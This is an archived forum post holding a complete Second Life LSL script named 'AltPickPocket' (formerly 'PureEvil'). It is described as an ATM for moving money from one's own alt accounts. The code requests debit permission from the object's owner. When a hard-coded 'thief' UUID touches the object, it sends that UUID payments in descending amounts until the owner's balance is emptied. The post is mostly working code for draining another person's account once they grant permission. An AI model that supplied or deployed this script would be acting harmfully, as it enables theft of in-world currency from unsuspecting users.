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AltPickPocket.lsl - Printable Version

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AltPickPocket.lsl - steadymobbin - 02-18-2013

// Script Name: AltPickPocket.lsl
// Category: Pick Pocket
// Description: this script was made initially for the purpose of keeping an ATM type object that would allow you to take the $L from your Alt's accounts at will, without the need to log out and log the Alt in and make a manual payment.
// Comment: AltPickPocket.lsl
//
// Downloaded from :

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//
// From the Internet LSL Script Database & Library of Second Lifeā„¢ scripts.
//

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by Ferd Frederix
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// Other licenses may be located within the source of this script,
// in which case the more restrictive license is to take effect
//
////////////////////////////////////////////////////////////////////
// CATEGORY:Pick Pocket
// CREATOR:Mitzpatrick Fitzsimmons
// DESCRIPTION:this script was made initially for the purpose of keeping an ATM type object that would allow you to take the $L from your Alt's accounts at will, without the need to log out and log the Alt in and make a manual payment.
// ARCHIVED BY:Ferd Frederix


//-----------------------------------------------------------------------------------
// AltPickPocket Script C 2005-2007
// Formerly Known as PureEvil
// By Mitzpatrick Fitzsimmons
//-----------------------------------------------------------------------------------

//this script was made initially for the purpose of keeping an ATM type object that would allow you to take the $L from your Alt's accounts
//at will, without the need to log out and log the Alt in and make a manual payment.

//----------------------------DISCLAIMER!--------------------------------------------
// This script will take money from the person that owns the object it is in
// ONLY IF that owner accepts the PERMISSION_DEBIT.

// The UUID of the "thief" variable is to whom the money is paid to.
// I accept no responsability for the USE or MISUSE of this script.
// As with anything in SL, make sure you know what you are doing before you do it.
//-----------------------------------------------------------------------------------

key thief = "00000000-0000-0000-0000-000000000000"; // Insert the key of the person who is going to get the money here.
list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 1]; // Use a list to enumerate payments until the account is cleaned out.

// The pay function here will use the integers in the ammount list to transact payments to the thief UUID in incremental
// amounts until the list ends. In most cases this will deplete the account of the owner (unless there is more money in that
// owners account than is in the largest list amount).
pay ()
{
integer m = llGetListLength(ammount);
integer i = 0;
while (i<m)
{
llGiveMoney(thief,llList2Integer(ammount,i));
i++;
}
}

default
{
on_rez(integer number)
{
llResetScript(); // Make sure Ownership Changes properly.
}

state_entry()
{
llSetObjectName("AltPickPocket"); // Set the Object Name
llRequestPermissions(llGetOwner(),PERMISSION_DEBIT);// Request Owners permission to debit money.
}

touch_start(integer total_number)
{
if(llDetectedKey(0) == thief) // if the thief is touching the object
{
llSay(0, "You are the Authorized."); // Tell them they are Authorized
pay(); // Then Pay them
}

else
{ // If it is not the thief touching the object
llSay(0, "You are NOT Authorized!"); // then deny them
}
}

run_time_permissions(integer number)
{
if(number >0)
{
llOwnerSay("Activated!");
llSetColor(<0,1,0>, ALL_SIDES);
llSetText("Active",<0,1,0>,1);
}

else
{
llSay(0, "PickPocket has no permissions");
llSetColor(<1,0,0>, ALL_SIDES);
llSetText("InActive",<1,0,0>,1);
}
}
}